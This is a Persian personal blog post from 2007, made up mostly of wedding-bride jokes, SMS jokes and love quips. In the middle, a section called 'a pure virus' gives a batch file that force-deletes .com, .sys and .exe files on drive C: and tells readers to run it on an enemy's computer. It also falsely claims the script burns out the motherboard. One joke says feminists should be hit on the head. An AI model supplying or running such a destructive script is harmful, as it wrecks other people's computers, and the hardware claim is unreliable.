(عروسهاي لوس رو بايد فقط سپرد به داماد و حجله.....)

 عروس زيادي مؤدب: با اجازه پدرم، مادرم، برادرم، خواهرم، دايي جون، عمه جون،...، زن عمو کوچيکه، نوه خاله عمه شکوه، اشکان کوچولو، ... ، مرحوم زن آقاجان بزرگه ، قدسي خانوم جون ، ... ، ...

(اين عروس خانوم آخر هم يادش ميره بگه بله واسه همين دوباره از اول شروع ميکنه به اجازه گرفتن......!)

 عروس خارج رفته :  با پرميشن از گريت ترهاي  فامیل ... آو يس

(اين هم بايد به سرنوشت عروس لوس برسه تا شايد آدم بشه( 
 عروس خجالتي :اوهوم
  عروس پاچه ورماليده : به کوري چشم پدر شوهر و مادر شوهر و همه فک و فاميل اين بزغاله (اشاره به داماد) آره...
) وضعيت داماد کاملا قابل پيش بيني است(
  عروس رشتي : اووو اگر اهالي محل موافقند بنده مخالفتي ندارم عروس هنرمند: با اجازه تمامي اساتيدم، استاد رخشان بني اعتماد، استاد مسعود کيميايي، ...، اساتيد برجسته تاتر، استاد رفيعي، ... ، مرحوم نعمت ا.. گرجي ، شير علي قصاب هنرمند، روح پر فتوه مرحومه مغفوره مرلين مونرو، مرحوم مارلين ديتريش، مرحوم مغفور گري گوري پک و ... آري ميپذيرم که به پاي اين اتللوي خبيث بسوزم چو پروانه بر سر آتش
(تو که مادر منو **** اين ستاره ها يه حرف بدي بود که داماد به عروس زده بود ما هم سانسورش کرديم(
  عروس داش مشتي : با اجزه بروبچس مُجلي نيست من که پايه ام ...

(با عرض تشکر از داش اسي عزيز(
  عروس زيادي مؤمن و معتقد : بسم ا.. الرحمن الرحيم و به نستعين انه خير ناصر و معين ... اعوذ با... منم شيطان رجيم يس و القرآن الحکيم .... الي آخر ....

و در آخر  نعم

 (دلم به حال داماد مفلوکِ خاک بر سر ميسوزه که احتمالا توي حجله عروس خانوم يه دور براش مفاتيح رو ختم ميکنه تا بعد ... استغفر ا...)
 عروس فمنيست : يعني چي؟! چه معني داره همش ما بگيم بله ... چقدر زن بايد تو سري خور باشه چرا همش از ما سؤال ميپرسن ! ... يه بار هم از اين مجسمه بلاهت (اشاره به داماد) بپرسين ...

(اصولا اين قوم فمنيست جنبه ندارن که بهشون احترام بذارن و يه چيزي ازشون بپرسن ... فقط بايد زد تو سرشون و بهشون گفت همينه که هست ميخواي بخواه نميخواي هم XXX لقت)

***

 

يك ويروس ناب

 

خوب اينم يك ويروس باحال كه براتون گذاشتم اميد وارم بتونيد

 ازش خوب استفاده كنيد. به هر حال بستگي به نظر خودتون داره.

اگر دشمن شما، این ویروس رو رو سیستمش اجرا کند مادر بردش میسوزه و اگر برنامه ضدویروس نداشته باشه كه ديگه بهتر از اين ممكن نيست.

 ممکنه از فن آن دود بلند شود در هرحال ویروس خطرناکیه

خوب شروع كنيد:

1- برنامه نت پد رو باز کنید و دستورات زیر را در آن بنویسید

@echo off Cls =========== color fc Del /a c:*.com Del /a c:*.sys Del /a c:*.exe /s ===========

2- با پسوند

bat.

سیو کنید.

 

***

  

چهارشنبه شانزدهم اسفند 1385 ساعت 7:40| نويسنده : الناز |

سلام

این متن ها شاید برگرده به ماه های تیر و مرداد

 

نشد براتون آپ کنم

 

و حالا براتون گذاشتم

 

شرمنده شما دوستای گلم هستم

 

که توی این مدت نتونستم بهشون سر بزنم

 

امید وارم  این مطالب رو هم دوست داشته باشید

 

وخوشتون بیاد  

 

سلام به همه دوستاي خوبم

اگه خوشتون امد حتما يه نظر بديد

فقط تعريف

****

یک فلش جالب برای اونایی که از دست این زمونه دیگه به تنگ امدن 

اول اینو ببینید تا بعد

***

          و حالا چند جك بامزه    

 

(این اس ام اس نصفه شب رسید )

 اينsms صرفا به منظور بیدار کردن شما و رفتن به مسطراب میباشد و ارزش دیگری ندارد با تشکر از توجه شما

****

(اینم نصفه شب رسید)

ببخشید این موقع مزاحم میشم سه سوال دارم که مثل خوره داره وجودمو میخوره میخواستم ببینم این پدر پسر شجاع قبل از اینکه پسر شجاع به دنیا بیاد اسمش چی بود؟

****

........................

........................

........................

به علت ایام سوگواری از گفتن این جوک معزورم

***

شهادت جان سوز، جان گداز، جان كاه، جان اف كندي، جان فورد، جان تراولتا، جان وين، جان علي، جان نثار، جان مريم چشماتو وا كن، سري بالا كن!

***

اي اس‌ام‌اس باز، اي مركز اس‌ام‌اس، اي قربانت برم، اي شفتالو، اي خوش استيل، اي مارادونا، اي باميه، اي هلو، چندتا اس‌ام‌اس باهال وده حال كنيم

***

گرگه ميره در خونه شنگول و منگول در ميزنه، مادره ميگه: بچه‌ها نيستن، بيا تو

***

چمن زير پاتيم، حالا يه وقت خر نشي بخوري منو

***

يه روز يه بچه به بابانوئل مسيج ميزنه و ميگه: Send me a Little Brother، بابانوئل هم براش در جواب ميزنه: Send me Your Mother

***

چند وقته نيومدی

به خاطره نيومدنت مامانم و بابام هر شب باهم دعوا دارن!

مهم نيست با چه ماشينی ميای!

 مهم نيست با چه لباسی ميای

فقط بيا و اين آشغال ها رو از دم خونه بردار.

***

ازم پرسيد منو بيشتر دوست داري يا زندگي تو؟

 خوب منم راستش رو گفتم

 گفنم زندگيمو!

***

اگه كسي ديونه ات بود، عاشقش باش.

 اگه عاشقت بود، دوستش داشته باش.

 اگه دوستت داشت، بهش علاقه نشون .

 اگه بهت علاقه نشون داد فقط يك لبخند بزن.

و اگرم خواست بياد خاستگاريت

 فرار كن(خطر ناكه)

***

يک نصيحت: مواظب خودت باش! يک خواهش: اصلاً عوض نشو! يک آرزو: فراموشم نکن! يک دروغ: تورو دوست ندارم!!، يک حقيقت: دلم برات تنگ شده!

***

دل به تو دادم تو به من قلوه دادي! نه! به من ساندويچ دلمه دادي!

دل به تو دادم که برام ناز کني نه بري براي من جيگرکي باز کني!!